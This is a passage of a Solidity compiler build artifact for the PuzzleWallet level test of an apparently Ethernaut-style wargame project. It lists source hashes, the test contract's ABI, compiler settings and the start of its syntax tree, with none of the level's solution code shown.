Proxy-08.sol\":{\"keccak256\":\"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1\",\"dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt\"]},\"src/levels/PuzzleWallet.sol\":{\"keccak256\":\"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430\",\"dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV\"]},\"src/levels/PuzzleWalletFactory.sol\":{\"keccak256\":\"0x2e32cf4aff842300a69854472fe78ff6b5f73b44285587e2a7ff06811921b406\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6c9ea620d589ae000461bbab536b38cdebee0a243fff690ecce4c3a474dc3fc9\",\"dweb:/ipfs/QmNvEJH5QhQJwqQkAbRRgQ1JeYqJxwNw2VdkXPUNHAdrf2\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/PuzzleWallet.t.sol\":{\"keccak256\":\"0xe63faccbde3840028ec1014827d3658a7810eae06d36e9076cca7cc3c33b3b4d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1057dfc4b11411a2a5c741a8823069a1c0ed8a93c82f409e73c3180be48f8dc4\",\"dweb:/ipfs/Qmers3Xvpra7ANZoxD2vvpnuopLcSgcuhEmLoDfUSRaXH5\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/PuzzleWallet.t.sol":"TestPuzzleWallet"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/helpers/UpgradeableProxy-08.sol":{"keccak256":"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb","urls":["bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1","dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt"],"license":"MIT"},"src/levels/PuzzleWallet.sol":{"keccak256":"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f","urls":["bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430","dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV"],"license":"MIT"},"src/levels/PuzzleWalletFactory.sol":{"keccak256":"0x2e32cf4aff842300a69854472fe78ff6b5f73b44285587e2a7ff06811921b406","urls":["bzz-raw://6c9ea620d589ae000461bbab536b38cdebee0a243fff690ecce4c3a474dc3fc9","dweb:/ipfs/QmNvEJH5QhQJwqQkAbRRgQ1JeYqJxwNw2VdkXPUNHAdrf2"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/PuzzleWallet.t.sol":{"keccak256":"0xe63faccbde3840028ec1014827d3658a7810eae06d36e9076cca7cc3c33b3b4d","urls":["bzz-raw://1057dfc4b11411a2a5c741a8823069a1c0ed8a93c82f409e73c3180be48f8dc4","dweb:/ipfs/Qmers3Xvpra7ANZoxD2vvpnuopLcSgcuhEmLoDfUSRaXH5"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/PuzzleWallet.t.sol","id":63689,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"PuzzleProxy":[54369],"PuzzleWallet":[54597],"PuzzleWalletFactory":[54712],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestPuzzleWallet":[63688],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2501:143","nodes":[{"id":63411,"nodeType":"PragmaDirective","src":"32:23:143","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":63412,"nodeType":"ImportDirective","src":"57:28:143","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":63689,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":63414,"nodeType":"ImportDirective","src":"86:43:143","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":63689,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":63413,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:143","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":